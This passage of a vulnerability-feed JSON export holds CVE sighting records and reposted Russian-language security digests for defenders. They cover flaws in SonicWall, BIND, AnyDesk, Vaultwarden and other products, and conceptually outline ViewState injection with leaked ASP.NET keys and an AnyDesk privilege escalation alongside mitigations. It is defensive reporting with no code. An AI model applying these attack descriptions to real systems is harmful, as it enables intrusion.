\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 SSLVPN \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438.\n\n\ud83d\udd35CVE-2025-23006 \u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443 SonicWall, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b. \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0448\u043b\u044e\u0437\u044b Secure Mobile Access (SMA) 1000 \u0438 Central Management Console (CMC). \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0443.\n\n\ud83d\udd35CVE-2025-22604 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cacti, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 ss_net_snmp_disk_io() \u0438\u043b\u0438 ss_net_snmp_disk_bytes() \u0432 SNMP. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 RCE-\u0430\u0442\u0430\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 SNMP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 OID.\n\n\ud83d\udd35CVE-2024-12647, CVE-2024-12648 \u0438 CVE-2024-12649 \u2014 \u0432\u0441\u0435 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Canon \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043d\u0430 CVSS 9,8. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445: \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CPCA, \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0442\u0435\u0433\u043e\u0432 EXIF \u0432 TIFF \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 XPS.\n\n\ud83d\udd35CVE-2024-56614 \u0438 CVE-2024-56615 \u2014 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 eBPF. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c DoS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35CVE-2024-49138 \u2014 \u0447\u0430\u0441\u0442\u044c 1 \u0438 \u0447\u0430\u0441\u0442\u044c 2. \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 Windows CLFS.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:10.390325Z"}, {"uuid": "2d97fddb-ae3e-419b-b78e-1506b4bc01a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-24)", "content": "", "creation_timestamp": "2026-05-24T00:00:00.000000Z"}, {"uuid": "488e4e47-b4e2-48a9-8d25-ac84de5a8540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/purp_sec/222", "content": "\u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0432\u044b \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u0442\u0434\u043e\u0445\u043d\u0443\u043b\u0438 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445. \u0420\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u043f\u043e\u0447\u0430\u0442\u044b\u0439 \u043a\u0440\u0430\u0439. \n\n\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-22218 \u0438 CVE-2025-22222 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 VMWare Aria Operations. \u041f\u0435\u0440\u0432\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u00abView Only Admin\u00bb \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 VMware. \u0412\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0431\u0435\u0437 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 ID \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u044b.\n\n\ud83d\udd35CVE-2024-11187 \u0438 CVE-2024-12705 \u2014 \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 BIND, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 DNS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041f\u0435\u0440\u0432\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 DNS-\u0437\u043e\u043d\u044b, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u044b \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 Additional. \u041f\u0440\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0430\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u0435\u0442 \u0447\u0440\u0435\u0437\u043c\u0435\u0440\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0438\u0441\u0442\u043e\u0449\u0435\u043d\u0438\u044e \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0438 \u0441\u0431\u043e\u044f\u043c \u0432 \u0440\u0430\u0431\u043e\u0442\u0435. CVE-2024-12705 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e BIND DNS-over-HTTPS (DoH). \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP/2-\u0442\u0440\u0430\u0444\u0438\u043a \u043d\u0430 DoH-\u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440, \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443.\n\n\ud83d\udd35CVE-2025-23222 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 dde-api-proxy Deepin. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u043b\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\ud83d\udd35CVE-2025-0065 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 TeamViewer, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 TeamViewer_service.exe. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \n\n\ud83d\udd35CVE Pending (CVSS 7.1), CVE-2025-24364 \u0438 CVE-2025-24365 \u2014 \u0442\u0440\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 opensource \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 Vaultwarden. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0430\u043d\u0435\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 Vaultwarden, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:10.590237Z"}, {"uuid": "2abf4df6-cc79-4829-9abf-aaae8fb51e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mmod5w6fya2d", "content": "SonicWall Gen6: patched. MFA bypass still works. Ransomware deployed.\n\nFirmware fix closes one path. 6 manual LDAP steps close the real bypass \u2014 most teams never apply them.\n\nPatched \u2260 protected. CVE-2024-12802\u00a0\n\n#CyberSecurity #SonicWall #Ransomware", "creation_timestamp": "2026-05-25T11:00:03.784403Z"}, {"uuid": "1c577f03-d617-4297-8968-8a72a6b1b2d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-25)", "content": "", "creation_timestamp": "2026-05-25T00:00:00.000000Z"}, {"uuid": "329957c0-87f3-4b15-a6ed-be0577ff89f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/REDTalk_base/132", "content": "\u0414\u043e\u0431\u0440\u044b\u0439 \u0434\u0435\u043d\u044c, \u043a\u043e\u043b\u043b\u0435\u0433\u0438! \u2615\ufe0f\n\n\u041d\u043e\u0432\u0430\u044f \u043d\u0435\u0434\u0435\u043b\u044f \u0432 \u0441\u0430\u043c\u043e\u043c \u0440\u0430\u0437\u0433\u0430\u0440\u0435. \u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0432\u0430\u043c \u043d\u0430\u043b\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u0447\u0430\u0448\u043a\u0443 \u043a\u043e\u0444\u0435 \u0438 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0441 \u043d\u0430\u043c\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438!\n\n\n\ud83d\udc80\u0410\u0442\u0430\u043a\u0438 \u043d\u0430 IIS \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 ASP. NET Machine Keys\n\n\ud83d\udd0d Microsoft Threat Intelligence \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 3,000 \u0443\u0442\u0435\u043a\u0448\u0438\u0445 ASP. NET machine keys, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 IIS-\u0441\u0435\u0440\u0432\u0435\u0440\u044b. \u042d\u0442\u0438 \u043a\u043b\u044e\u0447\u0438, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c ViewState-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0442\u044c Godzilla Malware.  \n\n\u041a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0430?  \n\n     1\ufe0f\u20e3ViewState \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432 ASP. NET.  \n    2\ufe0f\u20e3 \u0414\u043b\u044f \u0435\u0433\u043e \u0437\u0430\u0449\u0438\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f ValidationKey \u0438 DecryptionKey.  \n     3\ufe0f\u20e3\u0415\u0441\u043b\u0438 \u044d\u0442\u0438 \u043a\u043b\u044e\u0447\u0438 \u0443\u0442\u0435\u043a\u043b\u0438, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 ViewState \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0435\u0433\u043e \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.  \n    4\ufe0f\u20e3 IIS \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 ViewState \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.  \n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0442 Microsoft: \n \n    \u2705 \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 machine keys \u2014 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0439\u0442\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438.  \n    \u2705 \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u043a\u043b\u044e\u0447\u0438 \u043f\u043e \u0431\u0430\u0437\u0435 \u0445\u0435\u0448\u0435\u0439 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439\n    \u2705 \u0420\u043e\u0442\u0438\u0440\u0443\u0439\u0442\u0435 machine keys \u2014 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.  \n    \u2705 \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 ASP. NET \u0434\u043e 4.8 \u0438 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435 Antimalware Scan Interface (AMSI).  \n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0435 \u2014 Microsoft Blog\n\n\n \u2328\ufe0f\u0420\u0430\u0437\u0431\u043e\u0440 LPE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 AnyDesk\n\n\u0412 \u0441\u0435\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 AnyDesk (CVE-2024-12754), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e NT AUTHORITY\\SYSTEM.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442?\n\n\u041a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e, \u0441\u0435\u0440\u0432\u0438\u0441 AnyDesk \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0444\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 \u0432 C:\\Windows\\Temp\\, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430. \u041d\u043e \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u0437\u043a\u043e\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u044d\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0441 \u0442\u0435\u043c \u0436\u0435 \u0438\u043c\u0435\u043d\u0435\u043c. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0441\u043b\u0443\u0436\u0431\u0430 AnyDesk \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c.\n\n    \ud83d\udcbb\u0414\u043b\u044f \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u043a\u043e\u043f\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445, \u0440\u0435\u0431\u044f\u0442\u0430 \u0438\u0437  @RedTeambro 